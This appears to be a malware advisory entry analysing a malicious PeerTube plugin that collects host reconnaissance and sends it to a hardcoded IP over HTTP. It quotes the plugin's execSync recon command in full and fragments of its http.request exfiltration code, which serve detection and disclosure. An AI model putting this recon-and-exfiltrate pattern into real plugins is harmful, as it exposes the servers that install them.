GCVE-110-OSM-2026-11548

This is a clear exfiltration-and-recon plugin: the `register()` hook runs `execSync('(id; uname -a; hostname; date -u; ls -d /var/www/peertube 2>/dev/null) 2>&1')` and POSTs the output to the hardcoded collector. The attacker model is a malicious package author or compromised maintainer harvesting host reconnaissance from a PeerTube deployment, with the same data also written into a non-private `poc_proof` setting as a second retrieval channel. The code and IOCs align exactly with the OSV advisory `MAL-2026-15817`, and there is no legitimate plugin purpose that explains shelling out for system identity and sending it to a bare IP over plaintext HTTP. ENTRY index.js (default-index: index.js) DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Network Request in index.js: "http.request(" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Platform Detection with Data Collection in index.js: "JSON.stringify({ src: 'poc-marker', out: text }) const req = http.request({ host..." PAYLOAD FILES index.js